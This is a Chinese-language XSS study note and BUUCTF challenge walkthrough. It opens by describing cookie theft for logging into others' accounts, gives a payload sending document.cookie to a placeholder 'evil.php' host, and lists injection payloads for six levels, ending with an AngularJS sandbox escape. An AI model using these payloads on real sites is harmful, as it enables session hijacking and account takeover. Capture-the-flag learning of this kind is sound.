学习笔记、思路整理(损版)
用来偷别人cookie的,这样就可以用这个cookie做坏事辽(比如登录qq空间)
笔记
反射型
存储型
DOM XSS
参考教程
首先,还是闭合
其次,是检查有无没有被ban的函数
eg:
1 2 3 4 5 6 7 8 9 10 11
| page=<script>alert(document.cookie)</script> //没啥用,就是弹个窗 page=<script>location.href='http://你自己的网站/evil.php?cookie='+encodeURIComponent(document.cookie)</script> /* 解释: location.href="恶意地址"; //这句话可以让当前页面(location)的地址(href),跳转到恶意地址 document.cookie //就是当前页面的cookies数据 encodeURIComponent(document.cookie) //就是将cookies数据编码一下(防止cookies中有特殊的符号,导致地址错误) location.href="恶意地址"+encodeURIComponent(document.cookie) //就是将编码后的数据加在恶意地址之后 */ 然后是闭合,比如已知js代码: var page= "1"; //此处的1是传入的参数page,可替换、闭合 http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);// http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);
|
1 2 3 4 5 6 7 8
| function $(str){ if(!/^#[^']+"[^"]+"\]/.test(str)){ throw "error"; } } var page=$('#test a[href="1"]'); var page=$('#test a[href=""]');alert(document.cookie);var a=$('#test a[href="1"]'); "]');alert(document.cookie);var a=$('#test a[href="1
|
Dom-based的反射型XSS
简单实战: [buuctf web进阶]XSS闯关
第一关
查看源码,发现无任何过滤(源码里没有js代码),输入即可弹窗
1
| <script>alert(document.cookie)</script>
|
第二关
查看源码,username被escape函数过滤过(escape函数: 就是把函数url编码)
1 2 3 4 5 6 7
| <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = '7bmk'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script>
|
那要咋闭合捏?<>/()都被转化为url,可以这样构造,产生闭合var username=’’里的’’和后面的</ script>:
1
| ?username=';alert(document.cookie);//
|
第三关
查看源码
1 2 3 4 5 6 7
| <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + username; </script>
|
这不和上一关没区别吗,相同payload试试,发现引号被过滤了:
1 2 3 4 5 6 7
| <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = '\';alert(document.cookie);//'; document.getElementById('ccc').innerHTML= "Welcome " + username; </script>
|
但是,这个只过滤了1个引号,而不是在所有的引号前加...这我就匪夷所思啊,谁在做网站防护时会这么防…. 还只转义1个引号不转义其他的…
第四关(伪链接)
页面每10s重定向1次,通过禁用js停止跳转,然后查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <script type="text/javascript"> var time = 10; var jumpUrl; if(getQueryVariable('jumpUrl') == false){ jumpUrl = location.href; }else{ jumpUrl = getQueryVariable('jumpUrl'); } setTimeout(jump,1000,time); function jump(time){ if(time == 0){ location.href = jumpUrl; }else{ time = time - 1 ; document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; setTimeout(jump,1000,time); } } function getQueryVariable(variable){ var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } <script>
|
这关的知识点是伪链接:
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
于是payload:
1
| jumpUrl=javascript:alert(1)
|
困惑: 我怎么知道get传的参是jumpUrl呢? 当然是通过getQueryVariable(): getQueryVariable()用于获取url参数
第五关
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <script type="text/javascript"> if(getQueryVariable('autosubmit') !== false){ var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); autoForm.submit(); } else{} function getQueryVariable(variable){ var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } <script>
|
不难,审就完事了(所以里面的POST压根毫无关系就是来混淆的是吗…)
1
| ?autosubmit=1&action=javascript:alert(1);
|
第六关(angular沙箱逃逸)
1 2 3 4 5
| <script text="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } </script>
|
嗯….这关的过滤没有在源代码里写,然后显示的方式是在html里而8是js,所以没法执行alert…个p
搜索script关键字,发现有个main.js文件
1 2 3 4 5 6 7
| _alert = alert; alert = function(info){ _alert("过关成功!进入下一关!"); var current_level = location.pathname.match(/level([0-9]+)/)[1]; var next_level = parseInt(current_level) + 1; location.href = "/level" + next_level; }
|
然后看球不懂,实际上这玩意也没啥卵用…
实际上突破点在源码里的另一处链接: https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
是一个angular 1.4.6框架
参考: angular 1.6沙箱逃逸
参考链接
angular是1个前端框架,在Angular1.6以前的版本,有很多绕过方式,而在这之后的版本,沙箱已被删除,为此也就8存在沙箱逃逸了
验证
对于angular 1.6以下的版本,输入20,若返回的结果为20,则存在漏洞
逃逸
payload:
1
| {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
其中的alert(1)可被其他payload替换